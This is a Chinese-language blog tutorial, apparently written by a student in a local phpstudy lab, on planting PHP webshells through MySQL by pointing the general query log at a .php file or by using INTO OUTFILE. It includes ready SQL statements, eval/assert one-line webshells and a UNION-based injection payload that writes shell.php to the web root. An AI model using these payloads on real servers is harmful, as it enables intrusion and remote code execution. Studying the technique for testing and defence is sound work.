MYSQL数据库写马讲解
0x01 前言
最近正好在上数据库的课程,比较详细地学习了数据库各个方面地知识。感觉解决了之前不少的疑惑,再吐槽一下(学校开数据库这门课开的太晚了!)
下面进行分析与讲解数据库写入马的过程。
0x02 日志写🐎
众所周知我们所有的数据库的都有一个存放日志的文件,这个文件可以会进行记录数据库的操作语句,也可能不会记录数据库的操作语句,这却决于两个全局变量:
general_log
==>日志保存状态,有两个状态,ON代表开启 OFF代表关闭。
general_log_file
==> 日志的保存路径。
show global variables like "%general_log%";
查看这两个日志文件相关的配置
D:\phpstudy_pro\Extensions\MySQL5.7.26\data\LAPTOP-R496QJ56.log
可以看到这里的日志记录状态是处于关闭状态,那么我们需要设置以下使这个选项打开。
SET GLOBAL general_log='ON';
打开日志记录
set global general_log_file='D:\\phpstudy_pro\\WWW\\log.php';
写马,这里需要注意的就是需要使用双斜线,然后还有就是日志文件必须是.php
文件防止不能被解析
设置完毕之后就是代表着所有的执行语句都会记录到日志文件当中,不管执行成功与否。
select '<?php assert($_POST[sss]);?>';
查询语句,其实就是写马,让日志文件众留下这样一句查询语句。那么可以使用这个木马了。
这种的写马方式就需要知道网站的绝对路径
0x03 into outfile写🐎
使用into outfile 把木马写到web目录需要有几个条件
1.就是secure_file_priv
的取值
取值 | 含义 |
---|---|
为空 | 可以写入磁盘的目录 |
D:\ | 就可以写入D盘的文件 |
NULL | 表示不能写入磁盘文件 |
空和NULL不是一个概念的东西,大家不要误解而且这里的三个取值是不能通过SQL语句来进行修改,需要在配置文件中进行修改才行。
这里显示为NULL,所以不能写入文件
2.除了这个和上面的写马方式一样也需要知道网站的绝对路径。
select @@basedir;
查看SQL安装的绝对路径
在路径中的\用\或者/代替,因为\的话会消失一个
例子:
select '<?php eval($_POST["mohe"]);?>' into outfile "tmp/shell.php";
联合:
?id=1')) UNION SELECT 1,'<?php @eval($_POST["mohe"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\shell.php" --+
堆叠:
能使用堆叠注入,那么后台一定是使用了mysqli_multi_query()
的查询语句,能同时执行多条SQL语句,但是一般的后台用的都是mysql_query()
,一次执行只能执行一条查询语句。
参考链接:MYSQL之日志写马